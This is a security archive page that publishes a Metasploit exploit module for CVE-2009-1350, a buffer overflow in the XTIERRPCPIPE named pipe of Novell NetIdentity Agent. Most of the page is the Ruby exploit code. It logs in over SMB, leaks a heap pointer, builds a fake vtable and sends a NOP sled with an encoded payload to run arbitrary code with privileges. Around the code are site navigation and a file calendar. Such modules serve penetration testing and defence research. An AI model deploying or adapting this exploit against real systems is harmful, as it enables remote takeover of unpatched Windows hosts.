what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow

Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow
Posted Nov 26, 2009
Authored by Ruben Santamarta, MC | Site metasploit.com

This Metasploit module exploits a stack overflow in Novell's NetIdentity Agent. When sending a specially crafted string to the 'XTIERRPCPIPE' named pipe, an attacker may be able to execute arbitrary code. The success of this module is much greater once the service has been restarted.

tags | exploit, overflow, arbitrary
advisories | CVE-2009-1350
SHA-256 | 24be81255f40b751b92a165d5f12fc755361fe4c61c5b4ecd0363cd976e3c766

Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::SMB

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow.',
'Description' => %q{
This module exploits a stack overflow in Novell's NetIdentity Agent. When sending
a specially crafted string to the 'XTIERRPCPIPE' named pipe, an attacker may be
able to execute arbitrary code. The success of this module is much greater once the
service has been restarted.
},
'Author' => [ 'MC', 'Ruben Santamarta' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2009-1350' ],
[ 'OSVDB', '53351' ],
[ 'BID', '34400' ],
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=62&Itemid=1' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process', # only one shot!
},
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00\x09\x0c\x0b\x20\x0a\x0d\x5c\x5f\x2f\x2e\x40",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xe4\xf0\xff\xff\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 / Windows XP / Windows 2003', { 'Ret' => 0x41414141 } ],
],
'Privileged' => true,
'DisclosureDate' => 'Apr 6 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('SMBUser', [ true, 'The username to authenticate as', 'metasploit']),
OptString.new('SMBPass', [ true, 'The password for the specified username', 'metasploit'])
], self.class )
end

def mem_leak
print_status("Connecting to the server...")
connect()

print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")

begin
smb_login()
rescue ::Exception => e
print_error("Error: #{e}")
disconnect
return
end

print_status("Connecting to named pipe \\XTIERRPCPIPE...")

# If the pipe doesn't exist, bail.
begin
pipe = simple.create_pipe('\\XTIERRPCPIPE')
rescue ::Exception => e
print_error("Error: #{e}")
disconnect
return
end

# If we get this far, do the dance.
fid = pipe.file_id

# Need to make a Trans2 request with the param of 'QUERY_FILE_INFO' keeping our file_id
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')

# Send the first request to get our pointer.
leak = [0x00000004].pack('V') + [0x00000818].pack('V')
leak << rand_text_alpha_upper(2040)

print_status("Sending malformed request...")
pipe.write(leak)

heap_pointer_leaked = pipe.read()[2060,4].unpack('V')[0]
print_status(sprintf("Heap Pointer leaked: 0x%.8x", heap_pointer_leaked))

print_status("Building fake VTable...")
object = heap_pointer_leaked + 0x700
print_status(sprintf("Object: 0x%.8x", object))
method = object + 0x30
print_status(sprintf("Method: 0x%.8x", method))
shellcode = method + 0xA0
print_status(sprintf("Shellcode: 0x%.8x", shellcode))

pipe.close

return heap_pointer_leaked,object,method,shellcode
end

def exploit
heap_pointer_leaked,object,method,shellcode = mem_leak()

sploit = [0x00000002].pack('V')
sploit << [0x00000000].pack('V')
sploit << [object].pack('V')
sploit << [0x00000000].pack('V')
sploit << rand_text_alpha_upper(240)
sploit << [object].pack('V') * 32
sploit << [method].pack('V') * 32
sploit << [shellcode].pack('V') * 32
sploit << make_nops(748)
sploit << payload.encoded
sploit << rand_text_alpha_upper(110)

print_status("Connecting to the server...")
connect()

print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")

begin
smb_login()
rescue ::Exception => e
print_error("Error: #{e}")
disconnect
return
end

print_status("Connecting to named pipe \\XTIERRPCPIPE...")

# If the pipe doesn't exist, bail.
begin
pipe = simple.create_pipe('\\XTIERRPCPIPE')
rescue ::Exception => e
print_error("Error: #{e}")
disconnect
return
end

# ok, set up and send our exploit buffer...
fid = pipe.file_id
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
print_status("#{sploit.length} bytes written...")
pipe.write(sploit)

handler
disconnect
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close